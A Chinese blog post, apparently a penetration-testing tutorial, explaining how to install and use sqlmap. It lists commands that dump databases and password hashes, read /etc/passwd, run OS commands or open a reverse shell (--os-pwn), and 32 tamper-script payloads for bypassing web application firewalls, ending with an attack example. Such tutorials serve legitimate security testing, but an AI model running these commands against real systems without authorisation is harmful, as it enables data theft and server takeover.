前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SQL注入篇——sqlmap安装使用详解

SQL注入篇——sqlmap安装使用详解

作者头像
公众号爱国小白帽
发布2020-11-24 13:55:48
3.7K0
发布2020-11-24 13:55:48
举报

sqlmap简介

sqlmap是一个开源的渗透测试工具,它自动检测和利用SQL注入漏洞并接管数据库服务器。它配备了强大的检测引擎、最终渗透测试器的许多利基特性和广泛的开关,从数据库指纹、从数据库获取数据到通过带外连接访问底层文件系统和在操作系统上执行命令。

sqlmap功能

  • 全力支持MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、Informix、MariaDB、MemSQL、TiDB、CockroachDB、HSQLDB、H2、MonetDB、Apache Derby、Vertica、Mckoi和Presto数据库管理系统。
  • 完全支持六种SQL注入技术:基于布尔的盲查询、基于时间的盲查询、基于错误的查询、基于联合查询的、基于堆栈的查询和带外查询。
  • 支持直接连接到数据库通过提供DBMS凭据、IP地址、端口和数据库名称,而无需通过SQL注入传递。
  • 支持枚举用户、密码散列、特权、角色、数据库、表和列
  • 密码哈希格式的自动识别和对使用基于字典的攻击破解它们。
  • 支持转储数据库表完整地说,根据用户的选择,有一系列的条目或特定的列。用户还可以选择仅转储每列条目中的字符范围。
  • 支持搜索特定数据库名称、跨所有数据库的特定表或跨所有数据库表的特定列。例如,这对于标识包含自定义应用程序凭据的表非常有用,而相关列的名称包含字符串,如name和PASS。
  • 支持下载和上传任何文件当数据库软件是MySQL、PostgreSQL或MicrosoftSQLServer时,从数据库服务器底层文件系统。
  • 支持执行任意命令并检索其标准输出当数据库软件是MySQL、PostgreSQL或MicrosoftSQLServer时,在底层操作系统的数据库服务器上。
  • 支持**在攻击者计算机和数据库服务器之间建立带外有状态tcp连接。**底层操作系统。该通道可以是交互式命令提示符、Meterpreter会话或根据用户选择的图形用户界面(VNC)会话。
  • 支持数据库进程的用户权限提升通过Metasploit‘s Meterpretergetsystem命令。

sqlmap安装

安装包下载地址:https://pypi.org/project/sqlmap/#files

1.将安装好的软件包解压到C盘根目录下

2.然后进入此文件夹复制路径

3.将复制的路径添加到系统环境变量

4.启动cmd终端,输入sqlmap.py使用此工具

sqlmap使用

获取基本内容

sqlmap -u "http://url/news?id=1" --current-user #获取当前用户名称

sqlmap -u "http://www.xxoo.com/news?id=1" --current-db # 获取当前数据库名称

sqlmap -u "http://www.xxoo.com/news?id=1" --tables -D "db_name" #获取列表名

sqlmap -u "http://url/news?id=1" --columns -T "tablename" users-D "db_name" -v 0#获取字段名

sqlmap -u "http://url/news?id=1" --dump -C "column_name" -T "table_name" -D "db_name" -v 0 #获取字段内容

重要信息获取

sqlmap -u "http://url/news?id=1" --dbms "Mysql" --users # dbms 指定数据库类型

sqlmap -u "http://url/news?id=1" --users #列数据库用户

sqlmap -u "http://url/news?id=1" --dbs #列数据库

sqlmap -u "http://url/news?id=1" --passwords #数据库用户密码

sqlmap -u "http://url/news?id=1" --passwords-U root -v 0 #列出指定用户数据库密码

sqlmap -u "http://url/news?id=1" --dump -C "password,user,id" -T "tablename" -D "db_name" --start 1 --stop 20 #列出指定字段,列出20 条

sqlmap -u "http://url/news?id=1" --dump-all -v 0 #列出所有数据库所有表sqlmap -u "http://url/news?id=1" --privileges #查看权限

sqlmap -u "http://url/news?id=1" --privileges -U root #查看指定用户权限sqlmap -u "http://url/news?id=1" --is-dba -v 1 #是否是数据库管理员

sqlmap -u "http://url/news?id=1" --roles #枚举数据库用户角色

sqlmap -u "http://url/news?id=1" --udf-inject #导入用户自定义函数(获取系统权限!)

sqlmap -u "http://url/news?id=1" --dump-all --exclude-sysdbs -v 0 # 列出当前库所有表

sqlmap -u "http://url/news?id=1" --union-cols #union 查询表记录sqlmap -u "http://url/news?id=1" --cookie "COOKIE_VALUE" #cookie注入

sqlmap -u "http://url/news?id=1" -b #获取banner信息sqlmap -u "http://url/news?id=1" --data "id=3" #post注入

sqlmap -u "http://url/news?id=1" -v 1 -f #指纹判别数据库类型

sqlmap -u "http://url/news?id=1" --proxy"http://127.0.0.1:8118" #代理注入

sqlmap -u "http://url/news?id=1"--string"STRING_ON_TRUE_PAGE" # 指定关键词

sqlmap -u "http://url/news?id=1" --sql-shell #执行指定sql命令sqlmap -u "http://url/news?id=1" --file /etc/passwd

sqlmap -u "http://url/news?id=1" --os-cmd=whoami #执行系统命令sqlmap -u "http://url/news?id=1" --os-shell #系统交互shell

sqlmap -u "http://url/news?id=1" --os-pwn #反弹shell

sqlmap -u "http://url/news?id=1" --reg-read #读取win系统注册表sqlmap -u "http://url/news?id=1" --dbs-o "sqlmap.log" #保存进度

sqlmap -u "http://url/news?id=1" --dbs -o "sqlmap.log" --resume # 恢复已保存进度

高级用法

-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入

sqlmap -g “google语法” --dump-all --batch #google搜索注入点自动 跑出所有字段 需保证google.com能正常访问

–technique 测试指定注入类型\使用的技术

不加参数默认测试所有注入技术

• B: 基于布尔的SQL 盲注

• E: 基于显错 sql 注入

• U: 基于 UNION 注入

• S: 叠层 sql 注入

• T: 基于时间盲注

SQLMap Tamper

–tamper 通过编码绕过 WEB 防火墙(WAF) Sqlmap 默认用 char()

SQLMap的tamper使用命令如下:

常用的tamper脚本

代码语言:javascript
复制
sql -u [url] --tamper  [模块名]

1.apostrophemask.py 适用数据库:ALL 作用:将引号替换为utf-8,用于过滤单引号 使用脚本前:tamper(“1 AND ‘1’='1”) 使用脚本后:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871

2.base64encode.py 适用数据库:ALL 作用:替换为base64编码 使用脚本前:tamper(“1’ AND SLEEP(5)#”) 使用脚本后:MScgQU5EIFNMRUVQKDUpIw==

3.multiplespaces.py 适用数据库:ALL 作用:围绕sql关键字添加多个空格 使用脚本前:tamper(‘1 UNION SELECT foobar’) 使用脚本后:1 UNION SELECT foobar

4.space2plus.py 适用数据库:ALL 作用:用加号替换空格 使用脚本前:tamper(‘SELECT id FROM users’) 使用脚本后:SELECT+id+FROM+users

5.nonrecursivereplacement.py 适用数据库:ALL 作用:作为双重查询语句,用双重语句替代预定义的sql关键字(适用于非常弱的自定义过滤器,例如将 select替换为空) 使用脚本前:tamper(‘1 UNION SELECT 2–’) 使用脚本后:1 UNIOUNIONN SELESELECTCT 2–

6.space2randomblank.py 适用数据库:ALL 作用:将空格替换为其他有效字符 使用脚本前:tamper(‘SELECT id FROM users’) 使用脚本后:SELECT%0Did%0DFROM%0Ausers

7.unionalltounion.py 适用数据库:ALL 作用:将union allselect 替换为unionselect 使用脚本前:tamper(’-1 UNION ALL SELECT’) 使用脚本后:-1 UNION SELECT

8.securesphere.py 适用数据库:ALL 作用:追加特定的字符串 使用脚本前:tamper(‘1 AND 1=1’) 使用脚本后:1 AND 1=1 and ‘0having’=‘0having’

9.space2dash.py 适用数据库:ALL 作用:将空格替换为–,并添加一个随机字符串和换行符 使用脚本前:tamper(‘1 AND 9227=9227’) 使用脚本后:1–nVNaVoPYeva%0AAND–ngNvzqu%0A9227=9227

10.space2mssqlblank.py 适用数据库:Microsoft SQL Server 测试通过数据库:Microsoft SQL Server 2000、Microsoft SQL Server 2005 作用:将空格随机替换为其他空格符号(’%01’, ‘%02’, ‘%03’, ‘%04’, ‘%05’, ‘%06’, ‘%07’, ‘%08’, ‘%09’, ‘%0B’, ‘%0C’, ‘%0D’, ‘%0E’, ‘%0F’, ‘%0A’) 使用脚本前:tamper(‘SELECT id FROM users’) 使用脚本后:SELECT%0Eid%0DFROM%07users

11.percentage.py 适用数据库:ASP 测试通过数据库:Microsoft SQL Server 2000, 2005、MySQL 5.1.56, 5.5.11、PostgreSQL 9.0 作用:在每个字符前添加一个% 使用脚本前:tamper(‘SELECT FIELD FROM TABLE’) 使用脚本后:%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

12.sp_password.py 适用数据库:MSSQL 作用:从T-SQL日志的自动迷糊处理的有效载荷中追加sp_password 使用脚本前:tamper('1 AND 9227=9227-- ') 使用脚本后:1 AND 9227=9227-- sp_password

13.charencode.py 测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、 PostgreSQL 8.3, 8.4, 9.0 作用:对给定的payload全部字符使用url编码(不处理已经编码的字符) 使用脚本前:tamper(‘SELECT FIELD FROM%20TABLE’) 使用脚本后:%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45

14.randomcase.py 测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、 PostgreSQL 8.3, 8.4, 9.0 作用:随机大小写 使用脚本前:tamper(‘INSERT’) 使用脚本后:INseRt

15.charunicodeencode.py 适用数据库:ASP、ASP.NET 测试通过数据库:Microsoft SQL Server 2000/2005、MySQL 5.1.56、PostgreSQL 9.0.3 作用:适用字符串的unicode编码 使用脚本前:tamper(‘SELECT FIELD%20FROM TABLE’) 使用脚本后: %u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u 0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045

16.space2comment.py 测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0 作用:将空格替换为// 使用脚本前:tamper(‘SELECT id FROM users’) 使用脚本后:SELECT//id//FROM//users

17.equaltolike.py 测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5 作用:将=替换为LIKE 使用脚本前:tamper(‘SELECT * FROM users WHERE id=1’) 使用脚本后:SELECT * FROM users WHERE id LIKE 1

18.equaltolike.py 测试通过数据库:MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0 作用:将>替换为GREATEST,绕过对>的过滤 使用脚本前:tamper(‘1 AND A > B’) 使用脚本后:1 AND GREATEST(A,B+1)=A

19.ifnull2ifisnull.py 适用数据库:MySQL、SQLite (possibly)、SAP MaxDB (possibly) 测试通过数据库:MySQL 5.0 and 5.5 作用:将类似于IFNULL(A, B)替换为IF(ISNULL(A), B, A),绕过对IFNULL的过滤 使用脚本前:tamper(‘IFNULL(1, 2)’) 使用脚本后:IF(ISNULL(1),2,1)

20.modsecurityversioned.py 适用数据库:MySQL 测试通过数据库:MySQL 5.0 作用:过滤空格,使用mysql内联注释的方式进行注入 使用脚本前:tamper(‘1 AND 2>1–’) 使用脚本后:1 /!30874AND 2>1/–

21.space2mysqlblank.py 适用数据库:MySQL 测试通过数据库:MySQL 5.1 作用:将空格替换为其他空格符号(’%09’, ‘%0A’, ‘%0C’, ‘%0D’, ‘%0B’) 使用脚本前:tamper(‘SELECT id FROM users’) 使用脚本后:SELECT%0Bid%0DFROM%0Cusers

22.modsecurityzeroversioned.py 适用数据库:MySQL 测试通过数据库:MySQL 5.0 作用:使用内联注释方式(/!00000/)进行注入 使用脚本前:tamper(‘1 AND 2>1–’) 使用脚本后:1 /!00000AND 2>1/–

23.space2mysqldash.py 适用数据库:MySQL、MSSQL 作用:将空格替换为 – ,并追随一个换行符 使用脚本前:tamper(‘1 AND 9227=9227’) 使用脚本后:1–%0AAND–%0A9227=9227

24.bluecoat.py 适用数据库:Blue Coat SGOS 测试通过数据库:MySQL 5.1,、SGOS 作用:在sql语句之后用有效的随机空白字符替换空格符,随后用LIKE替换= 使用脚本前:tamper(‘SELECT id FROM users where id = 1’) 使用脚本后:SELECT%09id FROM users where id LIKE 1

25.versionedkeywords.py 适用数据库:MySQL 测试通过数据库:MySQL 4.0.18, 5.1.56, 5.5.11 作用:注释绕过 使用脚本前:tamper(‘1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#’) 使用脚本后:1/!UNION//!ALL//!SELECT//!NULL/,/!NULL/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/!AS//!CHAR/),CHAR( 32)),CHAR(58,100,114,117,58))#

26.halfversionedmorekeywords.py 适用数据库:MySQL < 5.1 测试通过数据库:MySQL 4.0.18/5.0.22 作用:在每个关键字前添加mysql版本注释 使用脚本前:tamper(“value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa”) 使用脚本后: value’/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNUL L(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58)),/!0NULL,/!0NULL#/!0AND ‘QDWa’='QDWa

27.space2morehash.py 适用数据库:MySQL >= 5.1.13 测试通过数据库:MySQL 5.1.41 作用:将空格替换为#,并添加一个随机字符串和换行符 使用脚本前:tamper(‘1 AND 9227=9227’) 使用脚本后:1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227

28.apostrophenullencode.py 适用数据库:ALL 作用:用非法双字节Unicode字符替换单引号 使用脚本前:tamper(“1 AND ‘1’='1”) 使用脚本后:1 AND %00%271%00%27=%00%271

29.appendnullbyte.py 适用数据库:ALL 作用:在有效载荷的结束位置加载null字节字符编码 使用脚本前:tamper(‘1 AND 1=1’) 使用脚本后:1 AND 1=1%00

30.chardoubleencode.py 适用数据库:ALL 作用:对给定的payload全部字符使用双重url编码(不处理已经编码的字符) 使用脚本前:tamper(‘SELECT FIELD FROM%20TABLE’) 使用脚本后:%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F %254D%2520%2554%2541%2542%254C%2545

31.unmagicquotes.py 适用数据库:ALL 作用:用一个多字节组合%bf%27和末尾通用注释一起替换空格 使用脚本前:tamper(“1’ AND 1=1”) 使用脚本后:1%bf%27 AND 1=1–

32.randomcomments.py 适用数据库:ALL 作用:用注释符分割sql关键字 使用脚本前:tamper(‘INSERT’) 使用脚本后:I//N//SERT sqlmap -u "http://url/news?id=1" --smart --level 3 --users # smart 智能level 执行测试等级

攻击实例:

Sqlmap.py -u "http://url/news?id=1" --cookie="PHPSESSI=4b5cac51d268af5f697307bd587389bc" --dbms=mysql --users --password

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-06-01,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 爱国小白帽 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • sqlmap简介
  • sqlmap功能
  • sqlmap安装
    • 1.将安装好的软件包解压到C盘根目录下
      • 2.然后进入此文件夹复制路径
        • 3.将复制的路径添加到系统环境变量
          • 4.启动cmd终端,输入sqlmap.py使用此工具
          • sqlmap使用
            • 获取基本内容
              • 重要信息获取
                • 高级用法
                  • SQLMap Tamper
                  相关产品与服务
                  数据库管理
                  数据库管理(Database Management Center,DMC)是一个高效,安全,可靠的数据库一站式管理平台。DMC 提供可视化的库管理、实例会话管理、SQL 窗口、SQL 安全审计、SQL 变更审批、实时监控、操作审计等数据库管理能力,集成诊断优化和数据可视化分析能力,从而简化和规范数据库管理操作、降低数据库运维门槛、提升运维效率。
                  领券
                  问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档